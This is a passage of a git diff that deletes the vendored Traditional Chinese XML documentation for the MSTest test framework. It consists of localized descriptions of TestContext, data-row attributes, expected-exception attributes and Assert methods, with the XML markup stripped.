取得測試回合的基底目錄,部署的檔案及結果檔案或儲存在其下。 - 如同 。請改用該屬性。 - - - - - 為部署用於測試回合的檔案取得目錄。通常為 的子目錄。 - 如同 。請改用該屬性。 - - - - - 為測試回合結果檔案取得目錄。通常為 的子目錄。 - 如同 。請改成將該屬性用於測試回合結果檔案,或將 - 用於測試特定結果檔案。 - - - - - 取得包含目前正在執行之測試方法的類別完整名稱 - - - - - 取得目前正在執行的測試方法名稱 - - - - - 取得目前測試結果。 - - - - - 用來在測試執行時寫入追蹤訊息 - - 格式化訊息字串 - - - - 用來在測試執行時寫入追蹤訊息 - - 格式字串 - 引數 - - - - 將檔案名稱新增至 TestResult.ResultFileNames 的清單中 - - - 檔案名稱。 - - - - - 開始具有所指定名稱的計時器 - - 計時器名稱。 - - - - 結束具有所指定名稱的計時器 - - 計時器名稱。 - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/zh-Hant/Microsoft.VisualStudio.TestPlatform.TestFramework.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/zh-Hant/Microsoft.VisualStudio.TestPlatform.TestFramework.xml deleted file mode 100644 index 611e17b6..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/zh-Hant/Microsoft.VisualStudio.TestPlatform.TestFramework.xml +++ /dev/null @@ -1,4201 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework - - - - - 用於執行的 TestMethod。 - - - - - 取得測試方法的名稱。 - - - - - 取得測試類別的名稱。 - - - - - 取得測試方法的傳回型別。 - - - - - 取得測試方法的參數。 - - - - - 取得測試方法的 methodInfo。 - - - This is just to retrieve additional information about the method. - Do not directly invoke the method using MethodInfo. Use ITestMethod.Invoke instead. - - - - - 叫用測試方法。 - - - 要傳遞至測試方法的引數。(例如,針對資料驅動) - - - 測試方法引動過程結果。 - - - This call handles asynchronous test methods as well. - - - - - 取得測試方法的所有屬性。 - - - 父類別中定義的屬性是否有效。 - - - 所有屬性。 - - - - - 取得特定類型的屬性。 - - System.Attribute type. - - 父類別中定義的屬性是否有效。 - - - 指定類型的屬性。 - - - - - 協助程式。 - - - - - 檢查參數不為 null。 - - - 參數。 - - - 參數名稱。 - - - 訊息。 - - Throws argument null exception when parameter is null. - - - - 檢查參數不為 null 或為空白。 - - - 參數。 - - - 參數名稱。 - - - 訊息。 - - Throws ArgumentException when parameter is null. - - - - 如何在資料驅動測試中存取資料列的列舉。 - - - - - 會以循序順序傳回資料列。 - - - - - 會以隨機順序傳回資料列。 - - - - - 用以定義測試方法之內嵌資料的屬性。 - - - - - 初始化 類別的新執行個體。 - - 資料物件。 - - - - 初始化 類別 (其採用引數的陣列) 的新執行個體。 - - 資料物件。 - 其他資料。 - - - - 取得用於呼叫測試方法的資料。 - - - - - 取得或設定測試結果中的顯示名稱來進行自訂。 - - - - - 判斷提示結果不明例外狀況。 - - - - - 初始化 類別的新執行個體。 - - 訊息。 - 例外狀況。 - - - - 初始化 類別的新執行個體。 - - 訊息。 - - - - 初始化 類別的新執行個體。 - - - - - InternalTestFailureException 類別。用來表示測試案例的內部失敗 - - - This class is only added to preserve source compatibility with the V1 framework. - For all practical purposes either use AssertFailedException/AssertInconclusiveException. - - - - - 初始化 類別的新執行個體。 - - 例外狀況訊息。 - 例外狀況。 - - - - 初始化 類別的新執行個體。 - - 例外狀況訊息。 - - - - 初始化 類別的新執行個體。 - - - - - 屬性,其指定預期所指定類型的例外狀況 - - - - - 初始化具預期類型之 類別的新執行個體 - - 預期的例外狀況類型 - - - - 初始化 類別 - (其具預期類型及訊息,用以在測試未擲回任何例外狀況時予以納入) 的新執行個體。 - - 預期的例外狀況類型 - - 測試因未擲回例外狀況而失敗時,要包含在測試結果中的訊息 - - - - - 取得值,指出預期例外狀況的類型 - - - - - 取得或設定值,指出是否允許類型衍生自預期例外狀況類型, - 以符合預期 - - - - - 如果測試因未擲回例外狀況而失敗,則取得測試結果中要包含的訊息 - - - - - 驗證預期有單元測試所擲回的例外狀況類型 - - 單元測試所擲回的例外狀況 - - - - 指定以預期單元測試發生例外狀況之屬性的基底類別 - - - - - 使用預設無例外狀況訊息初始化 類別的新執行個體 - - - - - 初始化具無例外狀況訊息之 類別的新執行個體 - - - 測試因未擲回例外狀況而失敗時,要包含在測試結果中的 - 訊息 - - - - - 如果測試因未擲回例外狀況而失敗,則取得測試結果中要包含的訊息 - - - - - 如果測試因未擲回例外狀況而失敗,則取得測試結果中要包含的訊息 - - - - - 取得預設無例外狀況訊息 - - ExpectedException 屬性類型名稱 - 預設無例外狀況訊息 - - - - 判斷是否預期會發生例外狀況。如果傳回方法,則了解 - 預期會發生例外狀況。如果方法擲回例外狀況,則了解 - 預期不會發生例外狀況,而且測試結果中 - 會包含所擲回例外狀況的訊息。 類別可以基於便利 - 使用。如果使用 並且判斷提示失敗, - 則測試結果設定為 [結果不明]。 - - 單元測試所擲回的例外狀況 - - - - 如果它是 AssertFailedException 或 AssertInconclusiveException,會重新擲回例外狀況 - - 如果是判斷提示例外狀況,則重新擲回例外狀況 - - - - 這個類別的設計目的是要協助使用者執行使用泛型型別之類型的單元測試。 - GenericParameterHelper 滿足一些常用泛型型別條件約束 - 例如: - 1. 公用預設建構函式 - 2. 實作公用介面: IComparable、IEnumerable - - - - - 初始化 類別 (其符合 C# 泛型中的 'newable' 限制式) - 的新執行個體。 - - - This constructor initializes the Data property to a random value. - - - - - 初始化 類別 (其將 Data 屬性初始化為使用者提供的值) - 的新執行個體。 - - 任何整數值 - - - - 取得或設定資料 - - - - - 執行兩個 GenericParameterHelper 物件的值比較 - - 要與之執行比較的物件 - 如果 obj 的值與 'this' GenericParameterHelper 物件相同,則為 true。 - 否則為 false。 - - - - 傳回這個物件的雜湊碼。 - - 雜湊碼。 - - - - 比較這兩個 物件的資料。 - - 要比較的物件。 - - 已簽署的編號,表示此執行個體及值的相對值。 - - - Thrown when the object passed in is not an instance of . - - - - - 傳回長度衍生自 Data 屬性的 - IEnumerator 物件。 - - IEnumerator 物件 - - - - 傳回等於目前物件的 - GenericParameterHelper 物件。 - - 複製的物件。 - - - - 讓使用者從單位測試記錄/寫入追蹤以進行診斷。 - - - - - LogMessage 的處理常式。 - - 要記錄的訊息。 - - - - 要接聽的事件。在單元測試寫入器寫入一些訊息時引發。 - 主要由配接器取用。 - - - - - API,供測試寫入者呼叫以記錄訊息。 - - 含預留位置的字串格式。 - 預留位置的參數。 - - - - TestCategory 屬性; 用來指定單元測試的分類。 - - - - - 初始化 類別的新執行個體,並將分類套用至測試。 - - - 測試「分類」。 - - - - - 取得已套用至測試的測試分類。 - - - - - "Category" 屬性的基底類別 - - - The reason for this attribute is to let the users create their own implementation of test categories. - - test framework (discovery, etc) deals with TestCategoryBaseAttribute. - - The reason that TestCategories property is a collection rather than a string, - is to give more flexibility to the user. For instance the implementation may be based on enums for which the values can be OR'ed - in which case it makes sense to have single attribute rather than multiple ones on the same test. - - - - - 初始化 類別的新執行個體。 - 將分類套用至測試。TestCategories 所傳回的字串 - 會與 /category 命令搭配使用,以篩選測試 - - - - - 取得已套用至測試的測試分類。 - - - - - AssertFailedException 類別。用來表示測試案例失敗 - - - - - 初始化 類別的新執行個體。 - - 訊息。 - 例外狀況。 - - - - 初始化 類別的新執行個體。 - - 訊息。 - - - - 初始化 類別的新執行個體。 - - - - - 要測試單元測試內各種條件的協助程式類別集合。 - 如果不符合正在測試的條件,則會擲回 - 例外狀況。 - - - - - 取得 Assert 功能的單一執行個體。 - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void IsOfType<T>(this Assert assert, object obj)" - Users could then use a syntax similar to the default assertions which in this case is "Assert.That.IsOfType<Dog>(animal);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - 測試指定的條件是否為 true,並在條件為 false 時擲回 - 例外狀況。 - - - 測試預期為 true 的條件。 - - - Thrown if is false. - - - - - 測試指定的條件是否為 true,並在條件為 false 時擲回 - 例外狀況。 - - - 測試預期為 true 的條件。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 為 false。訊息會顯示在測試結果中。 - - - Thrown if is false. - - - - - 測試指定的條件是否為 true,並在條件為 false 時擲回 - 例外狀況。 - - - 測試預期為 true 的條件。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 為 false。訊息會顯示在測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is false. - - - - - 測試指定的條件是否為 false,並在條件為 true 時擲回 - 例外狀況。 - - - 測試預期為 false 的條件。 - - - Thrown if is true. - - - - - 測試指定的條件是否為 false,並在條件為 true 時擲回 - 例外狀況。 - - - 測試預期為 false 的條件。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 為 true。訊息會顯示在測試結果中。 - - - Thrown if is true. - - - - - 測試指定的條件是否為 false,並在條件為 true 時擲回 - 例外狀況。 - - - 測試預期為 false 的條件。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 為 true。訊息會顯示在測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is true. - - - - - 測試指定的物件是否為 null,並在不是時擲回 - 例外狀況。 - - - 測試預期為 null 的物件。 - - - Thrown if is not null. - - - - - 測試指定的物件是否為 null,並在不是時擲回 - 例外狀況。 - - - 測試預期為 null 的物件。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不為 null。訊息會顯示在測試結果中。 - - - Thrown if is not null. - - - - - 測試指定的物件是否為 null,並在不是時擲回 - 例外狀況。 - - - 測試預期為 null 的物件。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不為 null。訊息會顯示在測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is not null. - - - - - 測試指定的物件是否為非 null,並在為 null 時擲回 - 例外狀況。 - - - 測試預期不為 null 的物件。 - - - Thrown if is null. - - - - - 測試指定的物件是否為非 null,並在為 null 時擲回 - 例外狀況。 - - - 測試預期不為 null 的物件。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 為 null。訊息會顯示在測試結果中。 - - - Thrown if is null. - - - - - 測試指定的物件是否為非 null,並在為 null 時擲回 - 例外狀況。 - - - 測試預期不為 null 的物件。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 為 null。訊息會顯示在測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is null. - - - - - 測試指定的物件是否都參照相同物件,並在兩個輸入 - 未參照相同的物件時擲回例外狀況。 - - - 要比較的第一個物件。這是測試所預期的值。 - - - 要比較的第二個物件。這是正在測試的程式碼所產生的值。 - - - Thrown if does not refer to the same object - as . - - - - - 測試指定的物件是否都參照相同物件,並在兩個輸入 - 未參照相同的物件時擲回例外狀況。 - - - 要比較的第一個物件。這是測試所預期的值。 - - - 要比較的第二個物件。這是正在測試的程式碼所產生的值。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 與下者不同: 。訊息會顯示在 - 測試結果中。 - - - Thrown if does not refer to the same object - as . - - - - - 測試指定的物件是否都參照相同物件,並在兩個輸入 - 未參照相同的物件時擲回例外狀況。 - - - 要比較的第一個物件。這是測試所預期的值。 - - - 要比較的第二個物件。這是正在測試的程式碼所產生的值。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 與下者不同: 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if does not refer to the same object - as . - - - - - 測試指定的物件是否參照不同物件,並在兩個輸入 - 參照相同的物件時擲回例外狀況。 - - - 要比較的第一個物件。測試預期這個值 - 不符合 。 - - - 要比較的第二個物件。這是正在測試的程式碼所產生的值。 - - - Thrown if refers to the same object - as . - - - - - 測試指定的物件是否參照不同物件,並在兩個輸入 - 參照相同的物件時擲回例外狀況。 - - - 要比較的第一個物件。測試預期這個值 - 不符合 。 - - - 要比較的第二個物件。這是正在測試的程式碼所產生的值。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 與下者相同: 。訊息會顯示在 - 測試結果中。 - - - Thrown if refers to the same object - as . - - - - - 測試指定的物件是否參照不同物件,並在兩個輸入 - 參照相同的物件時擲回例外狀況。 - - - 要比較的第一個物件。測試預期這個值 - 不符合 。 - - - 要比較的第二個物件。這是正在測試的程式碼所產生的值。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 與下者相同: 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if refers to the same object - as . - - - - - 測試指定的值是否相等,並在兩個值不相等時 - 擲回例外狀況。不同的數值類型會視為不相等, - 即使邏輯值相等也是一樣。42L 不等於 42。 - - - The type of values to compare. - - - 要比較的第一個值。這是測試所預期的值。 - - - 要比較的第二個值。這是正在測試的程式碼所產生的值。 - - - Thrown if is not equal to . - - - - - 測試指定的值是否相等,並在兩個值不相等時 - 擲回例外狀況。不同的數值類型會視為不相等, - 即使邏輯值相等也是一樣。42L 不等於 42。 - - - The type of values to compare. - - - 要比較的第一個值。這是測試所預期的值。 - - - 要比較的第二個值。這是正在測試的程式碼所產生的值。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不等於 。訊息會顯示在 - 測試結果中。 - - - Thrown if is not equal to - . - - - - - 測試指定的值是否相等,並在兩個值不相等時 - 擲回例外狀況。不同的數值類型會視為不相等, - 即使邏輯值相等也是一樣。42L 不等於 42。 - - - The type of values to compare. - - - 要比較的第一個值。這是測試所預期的值。 - - - 要比較的第二個值。這是正在測試的程式碼所產生的值。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不等於 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is not equal to - . - - - - - 測試指定的值是否不相等,並在兩個值相等時 - 擲回例外狀況。不同的數值類型會視為不相等, - 即使邏輯值相等也是一樣。42L 不等於 42。 - - - The type of values to compare. - - - 要比較的第一個值。測試預期這個值 - 不符合 。 - - - 要比較的第二個值。這是正在測試的程式碼所產生的值。 - - - Thrown if is equal to . - - - - - 測試指定的值是否不相等,並在兩個值相等時 - 擲回例外狀況。不同的數值類型會視為不相等, - 即使邏輯值相等也是一樣。42L 不等於 42。 - - - The type of values to compare. - - - 要比較的第一個值。測試預期這個值 - 不符合 。 - - - 要比較的第二個值。這是正在測試的程式碼所產生的值。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 等於 。訊息會顯示在 - 測試結果中。 - - - Thrown if is equal to . - - - - - 測試指定的值是否不相等,並在兩個值相等時 - 擲回例外狀況。不同的數值類型會視為不相等, - 即使邏輯值相等也是一樣。42L 不等於 42。 - - - The type of values to compare. - - - 要比較的第一個值。測試預期這個值 - 不符合 。 - - - 要比較的第二個值。這是正在測試的程式碼所產生的值。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 等於 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is equal to . - - - - - 測試指定的物件是否相等,並在兩個物件不相等時 - 擲回例外狀況。不同的數值類型會視為不相等, - 即使邏輯值相等也是一樣。42L 不等於 42。 - - - 要比較的第一個物件。這是測試所預期的物件。 - - - 要比較的第二個物件。這是正在測試的程式碼所產生的物件。 - - - Thrown if is not equal to - . - - - - - 測試指定的物件是否相等,並在兩個物件不相等時 - 擲回例外狀況。不同的數值類型會視為不相等, - 即使邏輯值相等也是一樣。42L 不等於 42。 - - - 要比較的第一個物件。這是測試所預期的物件。 - - - 要比較的第二個物件。這是正在測試的程式碼所產生的物件。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不等於 。訊息會顯示在 - 測試結果中。 - - - Thrown if is not equal to - . - - - - - 測試指定的物件是否相等,並在兩個物件不相等時 - 擲回例外狀況。不同的數值類型會視為不相等, - 即使邏輯值相等也是一樣。42L 不等於 42。 - - - 要比較的第一個物件。這是測試所預期的物件。 - - - 要比較的第二個物件。這是正在測試的程式碼所產生的物件。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不等於 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is not equal to - . - - - - - 測試指定的物件是否不相等,並在兩個物件相等時 - 擲回例外狀況。不同的數值類型會視為不相等, - 即使邏輯值相等也是一樣。42L 不等於 42。 - - - 要比較的第一個物件。測試預期這個值 - 不符合 。 - - - 要比較的第二個物件。這是正在測試的程式碼所產生的物件。 - - - Thrown if is equal to . - - - - - 測試指定的物件是否不相等,並在兩個物件相等時 - 擲回例外狀況。不同的數值類型會視為不相等, - 即使邏輯值相等也是一樣。42L 不等於 42。 - - - 要比較的第一個物件。測試預期這個值 - 不符合 。 - - - 要比較的第二個物件。這是正在測試的程式碼所產生的物件。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 等於 。訊息會顯示在 - 測試結果中。 - - - Thrown if is equal to . - - - - - 測試指定的物件是否不相等,並在兩個物件相等時 - 擲回例外狀況。不同的數值類型會視為不相等, - 即使邏輯值相等也是一樣。42L 不等於 42。 - - - 要比較的第一個物件。測試預期這個值 - 不符合 。 - - - 要比較的第二個物件。這是正在測試的程式碼所產生的物件。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 等於 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is equal to . - - - - - 測試指定的 float 是否相等,並在不相等時 - 擲回例外狀況。 - - - 要比較的第一個 float。這是測試所預期的 float。 - - - 要比較的第二個 float。這是正在測試的程式碼所產生的 float。 - - - 所需的精確度。只有在下列情況才會擲回例外狀況: - 不同於 - 超過 。 - - - Thrown if is not equal to - . - - - - - 測試指定的 float 是否相等,並在不相等時 - 擲回例外狀況。 - - - 要比較的第一個 float。這是測試所預期的 float。 - - - 要比較的第二個 float。這是正在測試的程式碼所產生的 float。 - - - 所需的精確度。只有在下列情況才會擲回例外狀況: - 不同於 - 超過 。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不同於 超過 - 。訊息會顯示在測試結果中。 - - - Thrown if is not equal to - . - - - - - 測試指定的 float 是否相等,並在不相等時 - 擲回例外狀況。 - - - 要比較的第一個 float。這是測試所預期的 float。 - - - 要比較的第二個 float。這是正在測試的程式碼所產生的 float。 - - - 所需的精確度。只有在下列情況才會擲回例外狀況: - 不同於 - 超過 。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不同於 超過 - 。訊息會顯示在測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is not equal to - . - - - - - 測試指定的 float 是否不相等,並在相等時 - 擲回例外狀況。 - - - 要比較的第一個 float。測試預期這個 float 不 - 符合 。 - - - 要比較的第二個 float。這是正在測試的程式碼所產生的 float。 - - - 所需的精確度。只有在下列情況才會擲回例外狀況: - 不同於 - 最多 。 - - - Thrown if is equal to . - - - - - 測試指定的 float 是否不相等,並在相等時 - 擲回例外狀況。 - - - 要比較的第一個 float。測試預期這個 float 不 - 符合 。 - - - 要比較的第二個 float。這是正在測試的程式碼所產生的 float。 - - - 所需的精確度。只有在下列情況才會擲回例外狀況: - 不同於 - 最多 。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 等於 或差異小於 - 。訊息會顯示在測試結果中。 - - - Thrown if is equal to . - - - - - 測試指定的 float 是否不相等,並在相等時 - 擲回例外狀況。 - - - 要比較的第一個 float。測試預期這個 float 不 - 符合 。 - - - 要比較的第二個 float。這是正在測試的程式碼所產生的 float。 - - - 所需的精確度。只有在下列情況才會擲回例外狀況: - 不同於 - 最多 。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 等於 或差異小於 - 。訊息會顯示在測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is equal to . - - - - - 測試指定的雙精度浮點數是否相等,並在不相等時 - 擲回例外狀況。 - - - 要比較的第一個雙精度浮點數。這是測試所預期的雙精度浮點數。 - - - 要比較的第二個雙精度浮點數。這是正在測試的程式碼所產生的雙精度浮點數。 - - - 所需的精確度。只有在下列情況才會擲回例外狀況: - 不同於 - 超過 。 - - - Thrown if is not equal to - . - - - - - 測試指定的雙精度浮點數是否相等,並在不相等時 - 擲回例外狀況。 - - - 要比較的第一個雙精度浮點數。這是測試所預期的雙精度浮點數。 - - - 要比較的第二個雙精度浮點數。這是正在測試的程式碼所產生的雙精度浮點數。 - - - 所需的精確度。只有在下列情況才會擲回例外狀況: - 不同於 - 超過 。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不同於 超過 - 。訊息會顯示在測試結果中。 - - - Thrown if is not equal to . - - - - - 測試指定的雙精度浮點數是否相等,並在不相等時 - 擲回例外狀況。 - - - 要比較的第一個雙精度浮點數。這是測試所預期的雙精度浮點數。 - - - 要比較的第二個雙精度浮點數。這是正在測試的程式碼所產生的雙精度浮點數。 - - - 所需的精確度。只有在下列情況才會擲回例外狀況: - 不同於 - 超過 。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不同於 超過 - 。訊息會顯示在測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is not equal to . - - - - - 測試指定的雙精度浮點數是否不相等,並在相等時 - 擲回例外狀況。 - - - 要比較的第一個雙精度浮點數。測試預期這個雙精度浮點數 - 不符合 。 - - - 要比較的第二個雙精度浮點數。這是正在測試的程式碼所產生的雙精度浮點數。 - - - 所需的精確度。只有在下列情況才會擲回例外狀況: - 不同於 - 最多 。 - - - Thrown if is equal to . - - - - - 測試指定的雙精度浮點數是否不相等,並在相等時 - 擲回例外狀況。 - - - 要比較的第一個雙精度浮點數。測試預期這個雙精度浮點數 - 不符合 。 - - - 要比較的第二個雙精度浮點數。這是正在測試的程式碼所產生的雙精度浮點數。 - - - 所需的精確度。只有在下列情況才會擲回例外狀況: - 不同於 - 最多 。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 等於 或差異小於 - 。訊息會顯示在測試結果中。 - - - Thrown if is equal to . - - - - - 測試指定的雙精度浮點數是否不相等,並在相等時 - 擲回例外狀況。 - - - 要比較的第一個雙精度浮點數。測試預期這個雙精度浮點數 - 不符合 。 - - - 要比較的第二個雙精度浮點數。這是正在測試的程式碼所產生的雙精度浮點數。 - - - 所需的精確度。只有在下列情況才會擲回例外狀況: - 不同於 - 最多 。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 等於 或差異小於 - 。訊息會顯示在測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is equal to . - - - - - 測試指定的字串是否相等,並在不相等時 - 擲回例外狀況。進行比較時不因文化特性 (Culture) 而異。 - - - 要比較的第一個字串。這是測試所預期的字串。 - - - 要比較的第二個字串。這是正在測試的程式碼所產生的字串。 - - - 表示區分大小寫或不區分大小寫的比較的布林值 (true - 表示不區分大小寫的比較)。 - - - Thrown if is not equal to . - - - - - 測試指定的字串是否相等,並在不相等時 - 擲回例外狀況。進行比較時不因文化特性 (Culture) 而異。 - - - 要比較的第一個字串。這是測試所預期的字串。 - - - 要比較的第二個字串。這是正在測試的程式碼所產生的字串。 - - - 表示區分大小寫或不區分大小寫的比較的布林值 (true - 表示不區分大小寫的比較)。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不等於 。訊息會顯示在 - 測試結果中。 - - - Thrown if is not equal to . - - - - - 測試指定的字串是否相等,並在不相等時 - 擲回例外狀況。進行比較時不因文化特性 (Culture) 而異。 - - - 要比較的第一個字串。這是測試所預期的字串。 - - - 要比較的第二個字串。這是正在測試的程式碼所產生的字串。 - - - 表示區分大小寫或不區分大小寫的比較的布林值 (true - 表示不區分大小寫的比較)。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不等於 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is not equal to . - - - - - 測試指定的字串是否相等,並在不相等時 - 擲回例外狀況。 - - - 要比較的第一個字串。這是測試所預期的字串。 - - - 要比較的第二個字串。這是正在測試的程式碼所產生的字串。 - - - 表示區分大小寫或不區分大小寫的比較的布林值 (true - 表示不區分大小寫的比較)。 - - - 提供文化特性 (culture) 特定比較資訊的 CultureInfo 物件。 - - - Thrown if is not equal to . - - - - - 測試指定的字串是否相等,並在不相等時 - 擲回例外狀況。 - - - 要比較的第一個字串。這是測試所預期的字串。 - - - 要比較的第二個字串。這是正在測試的程式碼所產生的字串。 - - - 表示區分大小寫或不區分大小寫的比較的布林值 (true - 表示不區分大小寫的比較)。 - - - 提供文化特性 (culture) 特定比較資訊的 CultureInfo 物件。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不等於 。訊息會顯示在 - 測試結果中。 - - - Thrown if is not equal to . - - - - - 測試指定的字串是否相等,並在不相等時 - 擲回例外狀況。 - - - 要比較的第一個字串。這是測試所預期的字串。 - - - 要比較的第二個字串。這是正在測試的程式碼所產生的字串。 - - - 表示區分大小寫或不區分大小寫的比較的布林值 (true - 表示不區分大小寫的比較)。 - - - 提供文化特性 (culture) 特定比較資訊的 CultureInfo 物件。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不等於 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is not equal to . - - - - - 測試指定的字串是否不相等,並在相等時 - 擲回例外狀況。進行比較時不因文化特性 (Culture) 而異。 - - - 要比較的第一個字串。測試預期這個字串 - 不符合 。 - - - 要比較的第二個字串。這是正在測試的程式碼所產生的字串。 - - - 表示區分大小寫或不區分大小寫的比較的布林值 (true - 表示不區分大小寫的比較)。 - - - Thrown if is equal to . - - - - - 測試指定的字串是否不相等,並在相等時 - 擲回例外狀況。進行比較時不因文化特性 (Culture) 而異。 - - - 要比較的第一個字串。測試預期這個字串 - 不符合 。 - - - 要比較的第二個字串。這是正在測試的程式碼所產生的字串。 - - - 表示區分大小寫或不區分大小寫的比較的布林值 (true - 表示不區分大小寫的比較)。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 等於 。訊息會顯示在 - 測試結果中。 - - - Thrown if is equal to . - - - - - 測試指定的字串是否不相等,並在相等時 - 擲回例外狀況。進行比較時不因文化特性 (Culture) 而異。 - - - 要比較的第一個字串。測試預期這個字串 - 不符合 。 - - - 要比較的第二個字串。這是正在測試的程式碼所產生的字串。 - - - 表示區分大小寫或不區分大小寫的比較的布林值 (true - 表示不區分大小寫的比較)。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 等於 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is equal to . - - - - - 測試指定的字串是否不相等,並在相等時 - 擲回例外狀況。 - - - 要比較的第一個字串。測試預期這個字串 - 不符合 。 - - - 要比較的第二個字串。這是正在測試的程式碼所產生的字串。 - - - 表示區分大小寫或不區分大小寫的比較的布林值 (true - 表示不區分大小寫的比較)。 - - - 提供文化特性 (culture) 特定比較資訊的 CultureInfo 物件。 - - - Thrown if is equal to . - - - - - 測試指定的字串是否不相等,並在相等時 - 擲回例外狀況。 - - - 要比較的第一個字串。測試預期這個字串 - 不符合 。 - - - 要比較的第二個字串。這是正在測試的程式碼所產生的字串。 - - - 表示區分大小寫或不區分大小寫的比較的布林值 (true - 表示不區分大小寫的比較)。 - - - 提供文化特性 (culture) 特定比較資訊的 CultureInfo 物件。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 等於 。訊息會顯示在 - 測試結果中。 - - - Thrown if is equal to . - - - - - 測試指定的字串是否不相等,並在相等時 - 擲回例外狀況。 - - - 要比較的第一個字串。測試預期這個字串 - 不符合 。 - - - 要比較的第二個字串。這是正在測試的程式碼所產生的字串。 - - - 表示區分大小寫或不區分大小寫的比較的布林值 (true - 表示不區分大小寫的比較)。 - - - 提供文化特性 (culture) 特定比較資訊的 CultureInfo 物件。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 等於 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is equal to . - - - - - 測試指定的物件是否為預期類型的執行個體, - 並在預期類型不在物件的繼承階層中時 - 擲回例外狀況。 - - - 測試預期為所指定類型的物件。 - - - 下者的預期類型: 。 - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - 測試指定的物件是否為預期類型的執行個體, - 並在預期類型不在物件的繼承階層中時 - 擲回例外狀況。 - - - 測試預期為所指定類型的物件。 - - - 下者的預期類型: 。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不是下者的執行個體: 。訊息會顯示在 - 測試結果中。 - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - 測試指定的物件是否為預期類型的執行個體, - 並在預期類型不在物件的繼承階層中時 - 擲回例外狀況。 - - - 測試預期為所指定類型的物件。 - - - 下者的預期類型: 。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 不是下者的執行個體: 。訊息會顯示在 - 測試結果中。 - - - 在將下者格式化時要使用的參數陣列: 。 - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - 測試指定的物件是否不是錯誤類型的執行個體, - 並在指定的類型位於物件的繼承階層中時 - 擲回例外狀況。 - - - 測試預期不為所指定類型的物件。 - - - 下者不應該屬於的類型: 。 - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - 測試指定的物件是否不是錯誤類型的執行個體, - 並在指定的類型位於物件的繼承階層中時 - 擲回例外狀況。 - - - 測試預期不為所指定類型的物件。 - - - 下者不應該屬於的類型: 。 - - - 在下列情況下,要包含在例外狀況中的訊息: - 是下者的執行個體: 。訊息會顯示在 - 測試結果中。 - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - 測試指定的物件是否不是錯誤類型的執行個體, - 並在指定的類型位於物件的繼承階層中時 - 擲回例外狀況。 - - - 測試預期不為所指定類型的物件。 - - - 下者不應該屬於的類型: 。 - - - 